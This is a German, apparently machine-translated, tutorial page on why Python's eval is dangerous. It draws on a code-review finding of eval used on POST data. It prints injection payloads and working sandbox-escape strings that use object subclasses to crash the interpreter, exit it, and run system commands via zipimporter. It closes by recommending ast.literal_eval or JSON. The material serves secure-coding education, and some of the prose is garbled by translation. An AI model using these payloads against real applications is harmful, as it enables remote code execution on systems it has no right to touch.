Heim > Backend-Entwicklung > Python-Tutorial > Einführung in allgemeine Fehlerkapselungs- und Nutzungsprinzipien der Python-Bewertung

Einführung in allgemeine Fehlerkapselungs- und Nutzungsprinzipien der Python-Bewertung

不言
Freigeben: 2019-03-25 10:12:11
nach vorne
2810 Leute haben es durchsucht

Der Inhalt dieses Artikels ist eine Einführung in die allgemeinen Fehlerkapselungs- und Nutzungsprinzipien der Python-Bewertung. Ich hoffe, dass er für Sie hilfreich ist.

Kürzlich habe ich während des Codeüberprüfungsprozesses festgestellt, dass es viele falsche Verwendungen von eval gibt, die zu Code-Injection-Problemen führen. Ein typisches Beispiel ist die Verwendung von eval als Parsing-Diktat, andere verwenden es falsch Die Kapselung wird von allen Produkten verwendet, was zu schwerwiegenderen Problemen führt, daher sollte jeder bei der Verwendung mehr darauf achten.

Das Folgende ist ein Beispiel in einem tatsächlichen Produkt. Einzelheiten finden Sie unter [bug83055][1]:

def remove(request, obj):
     query = query2dict(request.POST)
     eval(query['oper_type'])(query, customer_obj)
Nach dem Login kopieren

Die Abfrage wird direkt vom POST konvertiert und kann direkt vom Benutzer gesteuert werden. Wenn der Benutzer oper_type=__import__('os').system('sleep 5') in den URL-Parameter eingibt, können Sie natürlich auch jeden Systembefehl oder jeden ausführbaren Code ausführen ist offensichtlich, also werfen wir einen Blick auf eval. Was genau macht es und wie macht man es sicher?

1. Was zu tun ist

Um es einfach auszudrücken: Es geht darum, einen Ausdruck auszuführen

>>> eval('2+2')
4
>>> eval("""{'name':'xiaoming','ip':'10.10.10.10'}""")
{'ip': '10.10.10.10', 'name': 'xiaoming'}
>>> eval("__import__('os').system('uname')", {})
Linux
0
Nach dem Login kopieren

Von diesen drei Codeteilen wird offensichtlich das erste zur Berechnung verwendet , und der zweite dient der Berechnung. Ein Datentyp, der Daten vom Typ String in Python konvertiert. Dies ist auch ein häufiger Fehler in unseren Produkten. Die dritte Möglichkeit besteht darin, was der böse Junge tut: Er führt Systembefehle aus.

eval akzeptiert drei Parameter: eval(source[, globals[, locals]]) -> value

globals müssen ein Pfad sein und locals müssen ein Schlüssel-Wert-Paar sein wird standardmäßig verwendet Systemglobale und lokale Werte

2, falsche Kapselung

(1) Schauen wir uns einen Abschnitt der Kapselungsfunktion in einem unserer Produktcodes an, siehe [bug][2] , oder die Netzwerksuche nach Codes mit höherem Rang, z. B.:

def safe_eval(eval_str):
    try:
        #加入命名空间
        safe_dict = {}
        safe_dict['True'] = True
        safe_dict['False'] = False
        return eval(eval_str,{'__builtins__':None},safe_dict)
    except Exception,e:
        traceback.print_exc()
        return ''
Nach dem Login kopieren

Hier ist __builtins__ auf leer gesetzt, sodass integrierte Variablen wie __import__ weg sind. Ist diese gekapselte Funktion sicher? Lassen Sie mich Schritt für Schritt vorgehen:

>>> dir(__builtins__)
['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BufferError', 'BytesWarning', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'NameError', 'None', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'ReferenceError', 'RuntimeError', 'RuntimeWarning', 'StandardError', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError',
Nach dem Login kopieren

Elemente auflisten

'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Warning', ' ZeroDivisionError', '_', 'debug', 'doc', 'import', 'name', 'package', 'abs', 'all', 'any', 'apply', 'basestring', 'bin ' , 'bool', 'buffer', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'cmp', 'coerce', 'compile', 'complex', 'copyright', 'credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'execfile', 'exit', 'file', 'filter', 'float', 'format ', 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'intern', 'isinstance', ' issubclass', 'iter', 'len', 'license', 'list', 'locals', 'long', 'map', 'max', 'memoryview', 'min', 'next', 'object ', 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'raw_input', 'reduce', 'reload', 'repr', 'reversed', 'round', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'unichr ' , 'unicode', 'vars', 'xrange', 'zip']

Aus __builtins__ können Sie ersehen, dass es __import__ in seinem Modul gibt, das zum Ausführen einiger Betriebssystemoperationen verwendet werden kann. Wenn es auf leer gesetzt ist und dann die Auswertungsfunktion ausgeführt wird, ist das Ergebnis wie folgt:

>>> eval("__import__('os').system('uname')", {'__builtins__':{}})
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "<string>", line 1, in <module>
NameError: name &#39;__import__&#39; is not defined
Nach dem Login kopieren

Jetzt wird angezeigt, dass __import__ undefiniert ist und nicht erfolgreich ausgeführt werden kann. Die Antwort ist natürlich falsch.

Die Ausführung sieht beispielsweise wie folgt aus:

>>> s = """
... (lambda fc=(
...     lambda n: [
...         c for c in
...             ().__class__.__bases__[0].__subclasses__()
...             if c.__name__ == n
...         ][0]
...     ):
...     fc("function")(
...         fc("code")(
...             0,0,0,0,"test",(),(),(),"","",0,""
...         ),{}
...     )()
... )()
... """
>>> eval(s, {&#39;__builtins__&#39;:{}})
Segmentation fault (core dumped)
Nach dem Login kopieren

Hier definiert der Benutzer eine Funktion. Dieser Funktionsaufruf verursacht direkt einen Segfault

Der folgende Code verlässt den Interpreter:

>>>
>>> s = """
... [
...     c for c in
...     ().__class__.__bases__[0].__subclasses__()
...     if c.__name__ == "Quitter"
... ][0](0)()
... """
>>> eval(s,{&#39;__builtins__&#39;:{}})
liaoxinxi@RCM-RSAS-V6-Dev ~/tools/auto_judge $
Nach dem Login kopieren

Verschaffen wir uns ein vorläufiges Verständnis des gesamten Prozesses:

>>> ().__class__.__bases__[0].__subclasses__()
[<type &#39;type&#39;>, <type &#39;weakref&#39;>, <type &#39;weakcallableproxy&#39;>, <type &#39;weakproxy&#39;>, <type &#39;int&#39;>, <type &#39;basestring&#39;>, <type &#39;bytearray&#39;>, <type &#39;list&#39;>, <type &#39;NoneType&#39;>, <type &#39;NotImplementedType&#39;>, <type &#39;traceback&#39;>, <type &#39;super&#39;>, <type &#39;xrange&#39;>, <type &#39;dict&#39;>, <type &#39;set&#39;>, <type &#39;slice&#39;>, <type &#39;staticmethod&#39;>, <type &#39;complex&#39;>, <type &#39;float&#39;>, <type &#39;buffer&#39;>, <type &#39;long&#39;>, <type &#39;frozenset&#39;>, <type &#39;property&#39;>, <type &#39;memoryview&#39;>, <type &#39;tuple&#39;>, <type &#39;enumerate&#39;>, <type &#39;reversed&#39;>, <type &#39;code&#39;>, <type &#39;frame&#39;>, <type &#39;builtin_function_or_method&#39;>, <type &#39;instancemethod&#39;>, <type &#39;function&#39;>, <type &#39;classobj&#39;>, <type &#39;dictproxy&#39;>, <type &#39;generator&#39;>, <type &#39;getset_descriptor&#39;>, <type &#39;wrapper_descriptor&#39;>, <type &#39;instance&#39;>, <type &#39;ellipsis&#39;>, <type &#39;member_descriptor&#39;>, <type &#39;file&#39;>, <type &#39;sys.long_info&#39;>, <type &#39;sys.float_info&#39;>, <type &#39;EncodingMap&#39;>, <type &#39;sys.version_info&#39;>, <type &#39;sys.flags&#39;>, <type &#39;exceptions.BaseException&#39;>, <type &#39;module&#39;>, <type &#39;imp.NullImporter&#39;>, <type &#39;zipimport.zipimporter&#39;>, <type &#39;posix.stat_result&#39;>, <type &#39;posix.statvfs_result&#39;>, <class &#39;warnings.WarningMessage&#39;>, <class &#39;warnings.catch_warnings&#39;>, <class &#39;_weakrefset._IterationGuard&#39;>, <class &#39;_weakrefset.WeakSet&#39;>, <class &#39;_abcoll.Hashable&#39;>, <type &#39;classmethod&#39;>, <class &#39;_abcoll.Iterable&#39;>, <class &#39;_abcoll.Sized&#39;>, <class &#39;_abcoll.Container&#39;>, <class &#39;_abcoll.Callable&#39;>, <class &#39;site._Printer&#39;>, <class &#39;site._Helper&#39;>, <type &#39;_sre.SRE_Pattern&#39;>, <type &#39;_sre.SRE_Match&#39;>, <type &#39;_sre.SRE_Scanner&#39;>, <class &#39;site.Quitter&#39;>, <class &#39;codecs.IncrementalEncoder&#39;>, <class &#39;codecs.IncrementalDecoder&#39;>, <type &#39;Struct&#39;>, <type &#39;cStringIO.StringO&#39;>, <type &#39;cStringIO.StringI&#39;>, <class &#39;configobj.InterpolationEngine&#39;>, <class &#39;configobj.SimpleVal&#39;>, <class &#39;configobj.InterpolationEngine&#39;>, <class &#39;configobj.SimpleVal&#39;>]
Nach dem Login kopieren

Die Bedeutung dieses Python-Codes besteht darin, die Klasse des Tupels zu finden, dann seine Basisklasse, also das Objekt, zu finden und dann zu finden seine Unterklasse durch Objekt, die spezifische Unterklasse ist auch die gleiche wie die Ausgabe im Code. Daraus können Sie erkennen, dass es ein Dateimodul und ein Zipimporter-Modul gibt. Können diese verwendet werden? Beginnen Sie zuerst mit der Datei

Wenn der Benutzer Folgendes erstellt:

>>> s1 = """
... [
...     c for c in
...     ().__class__.__bases__[0].__subclasses__()
...     if c.__name__ == "file"
... ][0]("/etc/passwd").read()()
... """
>>> eval(s1,{&#39;__builtins__&#39;:{}})
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "<string>", line 6, in <module>
IOError: file() constructor not accessible in restricted mode
Nach dem Login kopieren

Dieser eingeschränkte Modus wird einfach als Sandbox des Python-Interpreters verstanden. Einige Funktionen sind eingeschränkt, z. B. die Möglichkeit, das System nicht zu ändern oder verwenden Sie einige Systemfunktionen, z. B. Datei. Weitere Informationen finden Sie unter „Eingeschränkter Ausführungsmodus“. Zu diesem Zeitpunkt haben wir an zipimporter gedacht. Wenn das importierte Modul auf das Betriebssystemmodul verweist, können wir es wie den folgenden Code verwenden.

>>> s2="""
... [x for x in ().__class__.__bases__[0].__subclasses__()
...    if x.__name__ == "zipimporter"][0](
...      "/home/liaoxinxi/eval_test/configobj-4.4.0-py2.5.egg").load_module(
...      "configobj").os.system("uname")
... """
>>> eval(s2,{&#39;__builtins__&#39;:{}})
Linux
0
Nach dem Login kopieren

Dies beweist, dass die aktuelle Sicherheitsbewertung tatsächlich unsicher ist.

3, wie man

richtig verwendet (1) Verwenden Sie ast.literal_eval

(2) Wenn Sie nur Zeichen in Diktat konvertieren, können Sie das JSON-Format

verwenden

Dieser Artikel ist hier verfügbar. Weitere spannende Inhalte finden Sie in der Spalte Python-Video-Tutorial auf der chinesischen PHP-Website!

Das obige ist der detaillierte Inhalt vonEinführung in allgemeine Fehlerkapselungs- und Nutzungsprinzipien der Python-Bewertung. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Verwandte Etiketten:
Quelle:推酷
Erklärung dieser Website
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn
Beliebte Tutorials
Mehr>
Neueste Downloads
Mehr>
Web-Effekte
Quellcode der Website
Website-Materialien
Frontend-Vorlage